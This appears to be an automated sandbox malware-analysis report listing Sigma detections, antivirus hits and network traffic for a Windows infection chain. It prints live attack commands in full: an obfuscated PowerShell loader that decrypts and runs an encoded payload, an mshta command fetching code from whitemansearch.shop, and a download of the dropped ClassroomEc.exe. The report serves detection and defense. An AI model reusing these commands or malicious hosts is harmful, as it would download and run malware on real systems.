'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOd

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOd

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: 29026\Identification.pif 29026\m , CommandLine: 29026\Identification.pif 29026\m , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\29026\Identification.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 748, ParentProcessName: cmd.exe, ProcessCommandLine: 29026\Identification.pif 29026\m , ProcessId: 8272, ProcessName: Identification.pif

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOd

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7488, TargetFilename: C:\Users\user\AppData\Roaming\ClassroomEc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: start mshta http://whitemansearch.shop/setup, CommandLine: start mshta http://whitemansearch.shop/setup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup, ParentImage: C:\Windows\System32\forfiles.exe, ParentProcessId: 4320, ParentProcessName: forfiles.exe, ProcessCommandLine: start mshta http://whitemansearch.shop/setup, ProcessId: 4672, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7292, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: https://2no.co/2ZrVm4;Set-ItemProperty	Avira URL Cloud: Label: malware
Source: https://2no.co/2ZrVm4	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe

ReversingLabs: Detection: 28%

Source: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/bframe?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif	HTTP Parser: No favicon
Source: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif	HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49733 version: TLS 1.2

Source:	Binary string: calc.pdbGCTL source: mshta.exe, 00000004.00000002.2039404857.00000278B7457000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027635373.00000278B7456000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026956096.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B7461000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2030741476.00000278B7456000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027458057.00000278B74CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027587413.00000278B74D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2036185120.00000278B7457000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027168564.00000278B7455000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B744F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B73E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: Identification.pif, 00000019.00000003.2989835694.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: Identification.pif, 00000019.00000003.2988525996.0000000002010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: e.pdb`] source: powershell.exe, 00000008.00000002.2239404211.0000023DA295C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: calc.pdb source: mshta.exe, 00000004.00000003.2024473416.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026956096.00000278B74BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2024473416.00000278B7461000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027458057.00000278B74CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2027587413.00000278B74D9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2026299956.00000278B746A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: Identification.pif, 00000019.00000003.2988525996.0000000002010000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: Identification.pif, 00000019.00000003.2989835694.0000000001E20000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: Identification.pif, 00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp, Identification.pif, 00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D65080 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	12_2_00D65080
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D63C80 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	12_2_00D63C80
Source: C:\Users\user\AppData\Roaming\ClassroomEc.exe	Code function: 12_2_00D64ED0 _DebugHeapAllocator,FindFirstFileW,_DebugHeapAllocator,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,	12_2_00D64ED0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx-reuseport/1.21.1Date: Tue, 20 Feb 2024 22:46:06 GMTContent-Type: application/octet-streamContent-Length: 1212711Last-Modified: Tue, 20 Feb 2024 15:43:47 GMTConnection: keep-aliveKeep-Alive: timeout=30ETag: "65d4c8b3-128127"Expires: Thu, 21 Mar 2024 22:46:06 GMTCache-Control: max-age=2592000Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 1f 00 94 82 5b 61 fa d1 5b 61 fa d1 5b 61 fa d1 52 19 7e d1 59 61 fa d1 52 19 6f d1 5c 61 fa d1 52 19 79 d1 4d 61 fa d1 52 19 69 d1 4a 61 fa d1 5b 61 fb d1 98 61 fa d1 34 17 64 d1 59 61 fa d1 34 17 50 d1 5f 61 fa d1 34 17 51 d1 6a 61 fa d1 34 17 60 d1 5a 61 fa d1 34 17 67 d1 5a 61 fa d1 52 69 63 68 5b 61 fa d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b3 be 2e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 7a 02 00 00 ba 00 00 00 00 00 00 f8 7b 02 00 00 10 00 00 00 90 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 03 00 00 04 00 00 f5 8d 12 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 b5 02 00 b4 00 00 00 00 00 03 00 51 40 00 00 00 00 00 00 00 00 00 00 3f 59 12 00 e8 27 00 00 00 50 03 00 38 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 02 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f 78 02 00 00 10 00 00 00 7a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6a 35 00 00 00 90 02 00 00 36 00 00 00 7e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 2b 00 00 00 d0 02 00 00 06 00 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 51 40 00 00 00 00 03 00 00 42 00 00 00 ba 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 15 00 00 00 50 03 00 00 16 00 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /ClassroomEc.exe HTTP/1.1Host: whitemansearch.shopConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.79.229 104.21.79.229
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	TCP traffic detected without corresponding DNS query: 40.68.123.157
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

